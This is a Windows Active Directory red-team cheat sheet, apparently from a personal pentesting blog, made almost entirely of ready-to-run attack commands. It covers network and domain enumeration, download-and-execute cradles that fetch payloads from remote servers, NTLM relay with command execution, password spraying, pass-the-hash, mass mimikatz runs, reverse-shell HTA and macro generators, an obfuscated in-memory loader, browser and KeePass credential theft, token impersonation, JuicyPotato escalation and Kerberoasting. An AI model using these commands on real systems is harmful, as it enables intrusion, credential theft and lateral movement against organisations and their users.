net users
net users /domain
net localgroup
net groups /domain
net groups /domain "Domain Admins"

Get-ADUser
Get-Domain
Get-DomainUser
Get-DomainGroup
Get-DomainGroupMember -identity "Domain Admins" -Domain m0chanAD.local -DomainController 10.10.14.10
Find-DomainShare


#Host Discovery
netdiscover -r subnet/24
nbtscan -r [range]
for /L %i in (1,1,255) do  @ping.exe -n 1 -w 50 <10.10.10>.%i | findstr TTL


#Reverse DNS Lookup
$ComputerIPAddress = "10.10.14.14"
[System.Net.Dns]::GetHostEntry($ComputerIPAddress).HostName

Get-DomainUser -SPN

Get-ADComputer -filter {ServicePrincipalName -like <keyword>} -Properties OperatingSystem,OperatingSystemVersion,OperatingSystemServicePack,
PasswordLastSet,LastLogonDate,ServicePrincipalName,TrustedForDelegation,TrustedtoAuthForDelegation

nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'

#https://github.com/Mr-Un1k0d3r/RedTeamCSharpScripts

LDAPUtility.cs

Usage: ldaputility.exe options domain [arguments]

ldaputility.exe DumpAllUsers m0chan
ldaputility.exe DumpUser m0chan mr.un1k0d3r
ldaputility.exe DumpUsersEmail m0chan
ldaputility.exe DumpAllComputers m0chan 
ldaputility.exe DumpComputer m0chan DC01
ldaputility.exe DumpAllGroups m0chan
ldaputility.exe DumpGroup m0chan "Domain Admins"
ldaputility.exe DumpPasswordPolicy m0chan

Also WMIUtility.cs for WMI Calls & LDAPQuery.cs for Raw LDAP Queries.

See github linked above for full details.

nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName

# Get Current Domain Info - Similar to Get-Domain
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# Get Domain Trust Info - Similar to Get-DomainTrust
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# View Domain Info
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

#  View Domain Trust Information
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

nltest [server:<fqdn_foreign_domain>] /domain_trusts /all_trusts /v

nltest /dsgetfti:<domain>

nltest /server:<ip_dc> /domain_trusts /all_trusts

([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# View All Domain Controllers
nltest /dclist:offense.local
net group "domain controllers" /domain

# View DC for Current Session
nltest /dsgetdc:m0chanAD.local

# View Domain Trusts from CMD
nltest /domain_trusts

# View User Info from CMD
nltest /user:"m0chan"

# get domain name and DC the user authenticated to
klist

# Get All Logged on Sessions, Includes NTLM & Kerberos
klist sessions

# View Kerb Tickets
klist

# View Cached Krbtgt
klist tgt

# whoami on older Windows systems
set u

#List all Usernames
([adsisearcher]"(&(objectClass=User)(samaccountname=*))").FindAll().Properties.samaccountname

#List Administrators

([adsisearcher]"(&(objectClass=User)(admincount=1))").FindAll().Properties.samaccountname

#List all Info about Specific User

([adsisearcher]"(&(objectClass=User)(samaccountname=<username>))").FindAll().Properties

#View All Users with Description Field Set

([adsisearcher]"(&(objectClass=group)(samaccountname=*))").FindAll().Properties | % { Write-Host $_.samaccountname : $_.description }

#https://github.com/jasonwbarnett/linux-adtool

tar zxvf adtools-1.x.tar.gz
cd adtools-1.x
./configure
make
make install

> adtool list ou=user,dc=example,dc=com
CN=allusers,OU=user,DC=example,DC=com
OU=finance,OU=user,DC=example,DC=com
OU=administration,OU=user,DC=example,DC=com

> adtool oucreate marketing ou=user,dc=example,dc=com
> adtool useradd jsmith ou=marketing,ou=user,dc=example,dc=com
> adtool setpass jsmith banana
> adtool unlock jsmith
> adtool groupadd allusers jsmith
> adtool attributereplace jsmith telephonenumber 123
> adtool attributereplace jsmith mail jsmith@example.com

#https://github.com/tevora-threat/SharpView

Get-DomainFileServer
Get-DomainGPOUserLocalGroupMapping
Find-GPOLocation
Get-DomainGPOComputerLocalGroupMapping
Find-GPOComputerAdmin
Get-DomainObjectAcl
Get-ObjectAcl
Add-DomainObjectAcl
Add-ObjectAcl
Remove-DomainObjectAcl
Get-RegLoggedOn
Get-LoggedOnLocal
Get-NetRDPSession
Test-AdminAccess
Invoke-CheckLocalAdminAccess
Get-WMIProcess
Get-NetProcess
Get-WMIRegProxy
Get-Proxy
Get-WMIRegLastLoggedOn
Get-LastLoggedOn
Get-WMIRegCachedRDPConnection
Get-CachedRDPConnection
Get-WMIRegMountedDrive
Get-RegistryMountedDrive
Find-InterestingDomainAcl
Invoke-ACLScanner
Get-NetShare
Get-NetLoggedon

nmap -p 139,445 --script smb.nse,smb-enum-shares,smbls
enum4linux 1.3.3.7
smbmap -H 1.3.3.7
smbclient -L \\INSERTIPADDRESS
smbclient -L INSERTIPADDRESS
smbclient //INSERTIPADDRESS/tmp
smbclient \\\\INSERTIPADDRESS\\ipc$ -U john
smbclient //INSERTIPADDRESS/ipc$ -U john
smbclient //INSERTIPADDRESS/admin$ -U john
nbtscan [SUBNET]


#Check for SMB Signing
nmap --script smb-security-mode.nse -p 445 10.10.14.14 

snmpwalk -c public -v1 10.10.14.14
snmpcheck -t 10.10.14.14 -c public
onesixtyone -c names -i hosts
nmap -sT -p 161 10.10.14.14 -oG snmp_results.txt
snmpenum -t 10.10.14.14

nmap -sV -Pn -vv  10.0.0.1 -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122

dig axfr blah.com @ns1.m0chan.com
nslookup -> set type=any -> ls -d m0chan.com
dnsrecon -d m0chan -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

rpcclient -U "10.10.14.14"
srvinfo
enumdomusers
enumalsgroups domain
lookupnames administrators
querydominfo
enumdomusers
queryuser <user>
lsaquery
lookupnames Guest
lookupnames Administrator

rdesktop -u guest -p guest INSERTIPADDRESS -g 94%

# Brute force
ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://INSERTIPADDRESS

m0chan Machine
mkdir tftp
atftpd --deamon --port 69 tftp
cp *file* tftp
On victim machine:
tftp -i <[IP]> GET <[FILE]>

echo open <[IP]> 21 > ftp.txt
echo USER demo >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs



cscript wget.vbs <url> <out_file>

Use echoup function on pentest.ws to generate echo commands.
https://pentest.ws/features

#https://github.com/danielbohannon/Invoke-CradleCrafter Use this to craft obsufacted cradles

Invoke-WebRequest "https://server/filename" -OutFile "C:\Windows\Temp\filename"

(New-Object System.Net.WebClient).DownloadFile("https://server/filename", "C:\Windows\Temp\filename") 

#Powershell Download to Memory

IEX(New-Object Net.WebClient).downloadString('http://server/script.ps1')

#Powershell with Proxy

$browser = New-Object System.Net.WebClient;
$browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX($browser.DownloadString('https://server/script.ps1'));

$fileName = "Passwords.kdbx"
$fileContent = get-content $fileName
$fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent)
$fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes)
$fileContentEncoded | set-content ($fileName + ".b64")

#File Transfer

certutil.exe -urlcache -split -f https://m0chan:8888/filename outputfilename

#CertUtil Base64 Transfers

certutil.exe -encode inputFileName encodedOutputFileName
certutil.exe -decode encodedInputFileName decodedOutputFileName

curl http://server/file -o file
curl http://server/file.bat | cmd

IEX(curl http://server/script.ps1);Invoke-Blah

python smbserver.py Share `pwd` -u m0chan -p m0chan --smb-2support

mshta.exe is a default binary shipped on all versions of Windows which allows the execution of .hta payloads

mshta.exe https://m0chan.com/exploit.hta

#Responder to Steal Creds

git clone https://github.com/SpiderLabs/Responder.git python Responder.py -i local-ip -I eth0


LLMNR and NBT-NS is usually on by default and there purpose is to act as a fallback to DNS. i/e if you search \\HRServer\ but it dosent exist, Windows (by default) will send out a LLMNR broadcast across the network. By using Responder we can respond to these broadcasts and say something like

'Yeah I'm HRServer, authenticate to me and I will get a NTLMv2 hash which I can crack or relay. More on relaying below'

responder -I eth0 wpad

By default, Windows is configured to search for a Web Proxy Auto-Discovery file when using the internet

Go to internet explorer and search for Google which automatically searches for a WPAD file... 

Then take NTLMv2 hash and NTLM Relay it or send to cracking rig. 

#Use when WPAD attack is not working, this uses IPv6 and DNS to relay creds to a target. 

By default IPV6 should be enabled. 
git clone https://github.com/fox-it/mitm6.git 
cd /opt/tools/mitm6
pip install .

mitm6 -d m0chanAD.local

Now the vuln occurs, Windows prefers IPV6 over IPv4 meaning DNS = controlled by attacker. 

ntlmrelayx.py -wh webserverhostingwpad:80 -t smb://TARGETIP/ -i

-i opens an interactive shell.

Shout out to hausec for this super nice tip.

Create .scf file and drop inside SMB Share and fire up Responder ;) 


Filename = @m0chan.scf

[Shell]
Command=2
IconFile=\\10.10.14.2\Share\test.ico
[Taskbar]
Command=ToggleDesktop

Good article explaining differences between NTLM/Net-NTLMV1&V2

https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html

TL;DR NTLMv1/v2 is a shorthand for Net-NTLMv1/v2 and hence are the same thing.

You CAN perform Pass-The-Hash attacks with NTLM hashes.
You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes.

PS: You CANNOT relay a hash back to itself.
PS: SMB Signing must be disabled to mitigate this, you can check with nmap scan or crackmapexec

crackmapexec smb 10.10.14.0/24 --gene-relay-list targets.txt

This will tell you a list of hosts within a subnet which do not have SMB Signing enabled.

python Responder.py -I <interface> -r -d -w
ntlmrelayx.py -tf targets.txt (By default this will dump the local SAM of the targets, not very useful?)

How about we execute a command instead.

ntlmrelayx.py -tf targets.txt -c powershell.exe -Enc asdasdasdasd
ntlmrelayx.py -tf targets.txt -c powershell.exe /c download and execute beacon... = RIP

#https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

Combine privxchange.py and ntlmrelayx

ntlmrelayx.py -t ldap://DOMAINCONTROLLER.m0chanAD.local --escalate-user TARGETUSERTOESCALATE

python privexchange.py -ah FDQN.m0chanAD.local DOMAINCONTROLLER.m0chanAD.local -u TARGETUSERTOESCALATE -d m0chanAD.local

#https://github.com/dafthack/MailSniper.git

Invoke-PasswordSprayOWA -ExchHostname EXCH2012.m0chanAD.local -UserList .\users.txt -Password Winter2019


#https://github.com/sensepost/ruler

./ruler-linux64 -domain mc0hanAD.local --insecure brute --userpass userpass.txt -v

#https://github.com/quickbreach/ExchangeRelayX

An NTLM relay tool to the EWS endpoint for on-premise exchange servers. Provides an OWA for hackers.


./exchangeRelayx.py -t https://mail.quickbreach.com

#https://github.com/dafthack/MailSniper.git

Enumerate GlobalAddressList

Get-GlobalAddressList -ExchHostname EXCH2012.m0chanAD.local -Username jamie@m0chanAD.local -Password Winter2019

Enumerate AD Usernames

Get-ADUsernameFromEWS -Emaillist .\users.txt

Enumerate Mailbox Folders

Get-MailboxFolders -Mailbox jamie@m0chanAD.local

Enumerate Passwords & Credentials Stored in Emails

Invoke-SelfSearch -Mailbox jamie@m0chanAD.local

Enumerate Passwords & Credentials (Any Users) Requires DA or Exchange Admin

Invoke-GlobalMailSearch -ImpersonationAccount helenHR -ExchHostname Exch2012

CrackMapExec is installed on Kali or get Windows Binary from Github.

Has 3 Execution Methods
crackmapexec smb <- Creating and Running a Service over SMB
crackmapexec wmi <- Executes command over WMI
crackmapexec at <- Schedules Task with Task Scheduler

Can execute plain commands with -X flag i/e 

crcakmapexec smb 10.10.14.0/24 -x whoami

crcakmapexec smb 10.10.14.0/24 <- Host Discovery
crackmapexec smb 10.10.14.0/24 -u user -p 'Password' 
crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --pass-pol
crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --shares


Can also PTH with CME

crackmapexec smb 10.10.14.0/24 -u user -H e8bcd502fbbdcd9379305dca15f4854e

cme smb 10.8.14.14 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:e8bcd502fbbdcd9379305dca15f4854e --local-auth --shares 


--local-auth is for Authenticating with Local Admin, good if Organisaton uses same local admin hash through network and not using LAPS

Dump Local SAM hashes

crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth --sam

Running Mimikatz 

crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz

^ Very noisy but yes you can run mimikatz across a WHOLE network range. RIP Domain Admin

Enum AV Products

crackmapexec smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M enum_avproducts

Invoke-PasswordSprayOWA -ExchHostname m0chanAD.local -userlist harvestedUsers.txt -password Summer2019

[*] Now spraying the OWA portal at https://m0chanAD.local/owa/

[*] SUCCESS! User:m0chan:Summer2019

Lmao, you really think Id use the pass Summer2019?

$outlook = New-Object -ComObject outlook.application
$olFolders ="Microsoft.Office.Interop.Outlook.OlDefaultFolders" -as [type]
$namespace = $Outlook.GetNameSpace("MAPI")
$inbox = $namespace.GetDefaultFolder($olFolders::olFolderInbox)
$inbox.items.count
$inbox.items
$inbox.items.GetLast()

#https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
#https://m0chan.github.io/Kerberos-Attacks-In-Depth

#https://github.com/NetSPI/PowerUpSQL

#View SQL Instances
Get-SQLInstanceDomain [| Get-SQLServerInfo]

#Login in with Domain Account
Get-SQLConnectionTestThreaded

#Login in with Default Password
Get-SQLServerDefaultLoginPw

#List DB, Tables & Columns

Get-SQLInstanceDomain | Get-SQLDatabase
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DB_name>
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DB_name> -TableName <Table_name>

#Search Column Names for Word

Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<word1,word2>" -Verbose -SampleSize 10

#Try to Execute Commands (RCE)

Invoke-SQLOSCmd


#Enable XP_CMDShell Process

EXEC sp_configure 'show advanced options', 1;  
go  
RECONFIGURE;  
go  
EXEC sp_configure 'xp_cmdshell', 1;  
go  
RECONFIGURE;  
go  
xp_cmdshell '<cmd>'
go

#https://github.com/infosecn1nja/MaliciousMacroMSBuild

#https://lolbas-project.github.io/lolbas/Binaries/Msbuild/ - MSBuild Explained

Creation of a Shellcode MSBuild VBA Macro
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba

Creation of a PowerShell MSBuild VBA Macro
python m3-gen.py -p powershell -i /path/payload.ps1 -o output.vba

Creation of a Custom MSBuild VBA Macro
python m3-gen.py -p custom -i /path/msbuild.xml -o output.vba

Creation of a Shellcode MSBuild VBA Macro With Kill Date
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -k 20/03/2018

Creation of a Shellcode MSBuild VBA Macro With Environmental Keying
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -d yourdomain
python m3-gen.py -p shellcode -i /path/beacon.bin -o output.vba -d yourdomain, microsoft, github

#https://github.com/hausec/MaliciousClickOnceMSBuild

1) Create a new .NET Framework console project in Visual Studio
2) Import Program.cs from this repository
3) Add the MSBuild payload file to the project
4) Publish the project

#https://github.com/felamos/weirdhta

python3 --help
python3 weirdhta.py 10.10.10.10 4444 --normal (for normal powershell reverse_shell)
python3 weirdhta.py 10.10.10.10 4444 --smb (without powershell payload, it will use smb)
python3 weirdhta.py 10.10.10.10 4444 --powercat (for powercat)
python3 weirdhta.py 10.10.10.10 4444 --command 'c:\windows\system32\cmd.exe' (custom command)

#https://github.com/Hackplayers/evil-winrm

Ultimate Shell for WinRM Connections

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ]
    -S, --ssl                        Enable SSL
    -c, --pub-key PUBLIC_KEY_PATH    Local path to public key certificate
    -k, --priv-key PRIVATE_KEY_PATH  Local path to private key certificate
    -s, --scripts PS_SCRIPTS_PATH    Powershell scripts local path
    -e, --executables EXES_PATH      C# executables local path
    -i, --ip IP                      Remote host IP or hostname (required)
    -U, --url URL                    Remote url endpoint (default /wsman)
    -u, --user USER                  Username (required)
    -p, --password PASS              Password
    -P, --port PORT                  Remote host port (default 5985)
    -V, --version                    Show version
    -h, --help                       Display this help message

#https://github.com/gpoguy/GetVulnerableGPO

PowerShell script to find 'vulnerable' security-related GPOs that should be hardened (for more background, see the GPO discoverability section of this blog: https://sdmsoftware.com/group-policy-blog/security-related/security-fun-bloodhound-ms16-072-gpo-discoverability/) Requires GPMC & SDM Software GPMC PowerShell Module (used to more easily parse GP settings during the search): https://s3.amazonaws.com/sdmsoftware.com/dl/SDM-GPMC-Module2.0Setup.zip

#https://github.com/peewpw/Invoke-PSImage

Encodes a PowerShell script in the pixels of a PNG file and generates a oneliner to execute

Invoke-PSImage takes a PowerShell script and encodes the bytes of the script into the pixels of a PNG image. It generates a oneliner for executing either from a file of from the web.

PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg
   [Oneliner to execute from a file]
   
   
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg -WebRequest
   [Oneliner to execute from the web]

#https://iwantmore.pizza/posts/meterpreter-shellcode-inject.html

A module for executing arbitrary shellcode within Meterpreter aka executing Mimikatz in-memory, reflectively and interactively!

donut -f /tmp/mimikatz.exe -a 2 -o /tmp/payload.bin

use post/windows/manage/shellcode_inject
set SHELLCODE /tmp/payload.bin
set SESSION 1
run

#https://github.com/nccgroup/demiguise

Run the demiguise.py file, giving it your encryption-key, payload-type, output file-name and command that you want the HTA run.

Example: python demiguise.py -k hello -c "notepad.exe" -p Outlook.Application -o

Since the tool outputs an HTML file containing JavaScript, you can simply take this JS and host it wherever you like. This means that if your clients website is vulnerable to reflected-XSS, you can use this to serve your HTA file from their (highly trusted) domain.

Also, Outlook doesnt block .html attachments by default , and neither do some other applications - use your imagination! :)

#https://github.com/l0ss/Grouper2

Find vulnerabilities in AD Group Policy

Grouper2 is a tool for pentesters to help find security-related misconfigurations in Active Directory Group Policy.

#https://www.ivoidwarranties.tech/posts/pentesting-tuts/cme/crackmapexec-cheatsheet/

Command Execution - CMD.exe

crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami

Command Execution - Powershell.exe

crackmapexec 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami

Check For Logged in Users

crackmapexec 192.168.215.104 -u 'Administrator' -p 'PASS' --lusers

Using Local Auth

crackmapexec 192.168.215.138 -u 'Administrator' -p 'PASSWORD' --local-auth

Enumerating Shares

crackmapexec 192.168.215.138 -u 'Administrator' -p 'PASSWORD' --local-auth --shares

WDigest Enable/Disable

'This allows us to re-enable the WDigest provider and dump clear-text credentials from LSA memory'

crackmapexec 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth --wdigest enable
crackmapexec 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth --wdigest disable

Password Policy

crackmapexec 192.168.215.104 -u 'Administrator' -p 'PASS --pass-pol

RID Bruteforcing

crackmapexec 192.168.215.104 -u 'Administrator' -p 'PASS --rid-brute

Top Credential Attacks

crackmapexec 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth --sam

Pass Hash Subnet

cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaa35b51404ee:5509de4fa6e8d9f4a61100e51' --local-auth

Null Sessions

crackmapexec smb <target(s)> -u '' -p ''


Modules - Enum_Chrome

sudo cme 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth -M enum_chrome

Modules - Enum_AV

sudo cme 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth -m enum_avproducts

powershell.exe /c IEX(New-Object Net.WebClient).downloadString('webserver/PowerUp.ps1') ;Invoke-AllChecks

#https://github.com/GhostPack/SharpUp

C Sharp Implementation of PowerUp.ps1 which can be reflectively loaded.

SharpHound.ps1
SharpHound.exe -> https://github.com/BloodHoundAD/SharpHound

IEX(System.Net.WebClient.DownloadString('http://webserver:4444/SharpHound.ps1'))

Invoke-CollectionMethod All

Import .zip to Bloodhound

If you can't exfil the .zip... Find a way ;) I joke, I joke. Output as plain json and copy over manually. It's a big big pain but it works.

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

tasklist /SVC
net start
reg query HKEY_LOCAL_MACHINE\SOFTWARE
DRIVERQUERY

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime

Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Full Permissions for 'Everyone' on Program Folders

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users" 

Modify Permissions for Everyone on Program Folders

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" 
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" 

schtasks /query /fo LIST /v

type C:\Users\m0chan\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

net use
wmic logicaldisk get caption,description

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

whoami /priv

Look for SeImpersonate, SeDebugPrivilege etc

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"

cmdkey /list
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer
Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer

reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s 

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

#git clone https://github.com/rasta-mouse/CookieMonster

CookieMonster creds
CookieMonster.exe cookies -d [domain] -e 
CookieMonster -a 

Must be run in the context of the target users as chrome passwords are encrypted with DPAPI.

Can also use Mimikatz for this.

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data"

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Login Data" /unprotect

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google\Chrome\UserData\Default\Cookies" /unprotect

#https://github.com/HarmJ0y/KeeThief
#http://www.harmj0y.net/blog/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/

Get-Process keepass
tasklist | findstr keepass

Attacking KeePass

#https://raw.githubusercontent.com/HarmJ0y/KeeThief/master/PowerShell/KeeThief.ps1
Import-Module KeeThief.ps1
Get-KeePassDatabaseKey -Verbose

KeeTheft.exe, Microsoft.Diagnostics.Runtime.dll & KeePatched.exe can also be used.

https://github.com/PowerShellMafia/PowerSploit/blob/c7985c9bc31e92bb6243c177d7d1d7e68b6f1816/Exfiltration/Invoke-TokenManipulation.ps1

Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe"

Can also use incognito from meterpreter to steal access/delegation tokens and impersonate users. (Requires Admin/SYSTEM Privs)

#Tokenvator https://github.com/0xbadjuju/Tokenvator

Reflectively Load it with Powershell, Cobalt, SilentTrinity etc...

$wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0");$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials
$k="xxxxxxx";$i=0;[byte[]]$b=([byte[]]($wc.DownloadData("https://xxxxx")))|%{$_-bxor$k[$i++%$k.length]}
[System.Reflection.Assembly]::Load($b) | Out-Null
$parameters=@("arg1", "arg2")
[namespace.Class]::Main($parameters)


Reflectively Load .NET Assembly within Powershell if you cant do it through your C2 Infra

#Requires SeImpersonatePrivilege (Typically found on service accounts IIS Service, SQL Service etc)

#Reference https://ohpe.it/juicy-potato/

Requirements: SeAssignPrimaryTokenPrivilege and/or SeImpersonatePrivilege

(new-object System.Net.WebClient).DownloadFile('http://10.10.14.5:8000/JuicyPotato.exe','C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRESS\MSSQL\Backup\JuicyPotato.exe')

JuicyPotato.exe -l 1337 -p C:\Users\Public\Documents\Mochan.exe -t * -c {5B3E6773-3A99-4A3D-8096-7765DD11785C}

Mochan.exe = Payload
5B3E6773-3A99-4A3D-8096-7765DD11785C = Target CLISD

A CLSID is a GUID that identifies a COM class object

Can also use -A flag to specify arguments alongside cmd.exe/powershell.exe etc

JUICY POTATO HAS TO BE RAN FROM CMD SHELL AND NOT POWERSHELL

#Check my Blog Post Kerberos Attacks in Depth for Further Information
#https://m0chan.github.io/Kerberos-Attacks-In-Depth

Get-DomainSPNTicket -Credential $cred -OutputFormat hashcat

because Hashcat over John anyday right?

Invoke-Kerberoast.ps1

python GetUserSPNs.py -request -dc-ip 10.10.14.15 m0chanad.local/serviceaccount

Ofc the above requires access to Port 88 on the DC but you can always port forward if executing GetUserSPNs.py manually.

https://github.com/GhostPack/SharpRoast --NOW Deprecated-- and incorproated into Rebeus with the kerberoast action

